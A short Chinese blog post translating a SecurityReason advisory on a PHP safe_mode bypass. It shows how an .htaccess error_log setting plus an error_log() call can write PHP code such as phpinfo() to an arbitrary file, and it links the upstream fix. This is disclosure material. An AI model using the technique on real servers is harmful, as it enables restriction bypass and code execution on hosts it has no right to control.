今天早上在这里看到的,觉得很有必要记录一下:http://www.milw0rm.com/exploits/7171
一个简单的翻译如下:
- --- 0.描述--- PHP 是 HTML 内嵌脚本语言。多数语法从 C、Java、Perl 借鉴而来,并有一些独特的功能。这个语言的目标是允许 web 开发人员快速的编写动态页面。 error_log PHP 允许定义自定义错误处理,如修改记录错误的方式。这允许修改并强化错误报告,使其更加适合应用。 - --- 0. error_log 常量. php_admin_flag 引起的漏洞 --- 主要问题在全局使用 safe_mode 中。 php.ini: safe_mode = On 或通过 php_admin_flag 定义 <Directory "/www"> ... php_admin_flag safe_mode On </Directory> 当创建了一些 php 脚本在 /www/ 中并尝试调用: ini_set("error_log", "/hack/"); 或者在 /www/.htaccess 中 php_value error_log "/hack/bleh.php" 结果: Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0 Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4 这是 safe_mode 定义在 php.ini 中的情形。但是如果使用 php_admin_flag safe_mode On 在 httpd.conf 中,只会得到 Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4 .htaccess中的代码 php_value error_log "/hack/blehx.php" 被允许,成为了 safe_mode 的漏洞。 实例: error_log("<?php phpinfo(); ?>", 0); - --- 2. 如何修复 --- 在 CVS 中 http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup 注意: 不要将 safe_mode 作为主要的安全措施。 --- 3. 致意 --- sp3x 情报链 p_e_a pi3 - --- 4. 联系 --- 作者: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ] 邮件: cxib [at] securityreason [dot] com GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg http://securityreason.com http://securityreason.pl
Leave a Reply